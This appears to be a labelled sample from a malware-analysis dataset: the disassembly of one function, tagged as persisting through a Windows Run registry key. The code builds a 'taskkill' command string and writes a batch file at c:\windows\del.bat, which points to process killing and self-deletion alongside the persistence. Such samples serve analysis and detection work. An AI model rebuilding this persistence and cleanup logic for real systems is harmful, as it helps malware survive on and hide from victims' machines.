Function at 0x4066a7
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
push reloc.WS2_32.dll_connect
push 0
push 0x472322
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x409390
call fcn.004076d9
add esp, 0x1c
mov eax, str.taskkill__im____r_ndel______
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4066f7
push ebx
call fcn.004076c7
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0
mov ebx, 0x407be0
call fcn.004076d9
add esp, 4
mov dword [ebp - 8], eax
push getpeername
push 0
push 1
mov ebx, 6
call fcn.00402ae2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x406739
mov eax, 0x472028
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x47214a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406759
mov eax, 0x472028
push eax
push 6
mov ebx, 0x408330
call fcn.004076d9
add esp, 0x4c
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40677f
push ebx
call fcn.004076c7
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x406793
push ebx
call fcn.004076c7
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0
mov ebx, 0x407bc0
call fcn.004076d9
add esp, 4
mov dword [ebp - 8], eax
push 0
mov ebx, 0x407be0
call fcn.004076d9
add esp, 4
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push 0x472167
push dword [ebp - 8]
mov ecx, 3
call fcn.0040212d
add esp, 0xc
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4067ec
push ebx
call fcn.004076c7
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4067fc
push ebx
call fcn.004076c7
add esp, 4
push getpeername
push 0
push 1
mov ebx, 6
call fcn.00402ae2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x406825
mov eax, 0x472028
push eax
push reloc.WS2_32.dll_connect
push 0
push 0x47237f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406845
mov eax, 0x472028
push eax
push 6
mov ebx, 0x408330
call fcn.004076d9
add esp, 0x4c
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40686b
push ebx
call fcn.004076c7
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40687f
push ebx
call fcn.004076c7
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x406896
mov eax, 0x472028
push eax
push 1
mov ebx, 0x408520
call fcn.004076d9
add esp, 0x10
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4068bf
mov eax, 0x4720b7
push eax
push reloc.WS2_32.dll_connect
push 0
push str.c:windowsdel.bat
push 2
mov ebx, 0x408a90
call fcn.004076d9
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4068ee
push ebx
call fcn.004076c7
add esp, 4
push 0x80000301
push 0
push 1
push getpeername
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.c:windowsdel.bat
push 3
mov ebx, 0x407a60
call fcn.004076d9
add esp, 0x28
push 0
call fcn.004076eb
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40693e
push ebx
call fcn.004076c7
add esp, 4
mov esp, ebp
pop ebp
ret